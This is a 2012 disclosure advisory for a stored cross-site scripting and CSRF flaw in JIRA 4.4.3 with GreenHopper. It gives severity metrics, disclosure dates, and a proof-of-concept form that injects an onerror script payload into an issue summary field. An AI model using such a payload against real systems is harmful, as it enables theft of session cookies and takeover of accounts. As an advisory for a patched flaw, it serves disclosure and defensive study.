Persistent (Stored) XSS
JIRA
v4.4.3#663-r165197
Published: 9/3/2012
Keywords
Web Application Security, Web, Cross-Site Scripting
(XSS), Private Bug Report, JIRA, Atlassian, CWE-79, CAPEC-19, Stored XSS, Cross
Site Request Forgery (CSRF), XSS.CX, Vulnerability Rewards Program, Security Content Automation Protocol (SCAP), Virtual Scripted Attacker (VSA)
Reward 1250 Euro paid by XSS.Cx to: Anonymous
Introduction
JIRA (/ˈdʒɪərə/ JEER-ə) is a proprietary issue tracking
product, developed by Atlassian, commonly used for bug tracking, issue
tracking, and project management. It has been developed since 2002. JIRA is a
commercial software product that can be licensed for running on-premises or
available as a hosted solution.
GreenHopper -
GreenHopper unlocks the power of Agile, whether you're a seasoned Agile expert
or just getting started. Creating user stories, estimating those stories for a sprint
backlog, identifying team velocity, visualizing team activity and reporting
progress has never been so easy.
Exploit
Our researchers discovered a Stored XSS
vulnerability allowing an attacker to inject arbitrary script code into an
existing and fully patched JIRA + GreenHopper installations (JIRA=V4.4.3,
GreenHopper prior to V5.9.8).
The requirements for a successful attack are minimal:
A user logged into the targeted
JIRA issue tracking system needs to be convinced to visit an attacker
controlled link.
Once that link has been visited by the unsuspecting
victim, an invisible form will perform a POST request and the victim will be
redirected to a URL where username, password and login
credentials such as cookies can be read and processed by the attacker.
An attacker can obtain access to privileged accounts and
get control over the JIRA issue tracker and connected systems.
Bug Metrics:
CVSS Score 6.5
Exploitability Metrics
AccessVector Network
AccessComplexity Low
Authentication Single
Impact Metrics
ConfImpact Partial
IntegImpact Partial
AvailImpact Partial
Proof
of Concept Exploit Code
// Form to inject payload via CSRF
// Note: No CSRF tokens required
<input type=submit
value="XSS">
<input name="colPage" value="1">
<input name="decorator"
value="none">
<input name="fieldId"
value="summary">
<input name="fieldValue"
value="<img src=x onerror='alert(domain+/ -- /+cookie)'>">
<input name="id"
value="20633">
<input name="key"
value="TST-3785">
<input name="pageType"
value="PlanningBoard">
<input
name="selectedBoardId" value="10000">
<input
name="selectedProjectid" value="10000">
<input name="stepId"
value="10000">
<input name="subType"
value="VersionBoard">
<input name="type"
value="VB">
</form>
// URL reflecting the injected data
http://sandbox.onjira.com/secure/EditField.jspa?id=20633&stepId=10000&fieldId=summary&decorator=none&selectedProjectid=10000&pageType=PlanningBoard&subType=VersionBoard&type=VB&selectedBoardId=10000&colPage=1&_=1330437353767
A video to illustrate the exploitation
process, showing:
*
Victim being logged out
*
Victim logging in
*
Affected JIRA view without XSS
*
A form on a different domain submitting to JIRA (no CSRF tokens)
*
Affected view with XSS
Proofed by: 0xC8CA08F4
Reported by: Anonymous
Vendor Notification: March 7, 2012
Resolution: August 22, 2012
XSS.Cx Vulnerability Rewards Program buys and sells exploits executing in wide scale deployment.
Reported by: Anonymous
Vendor Notification: March 7, 2012
Resolution: August 22, 2012
XSS.Cx Vulnerability Rewards Program buys and sells exploits executing in wide scale deployment.
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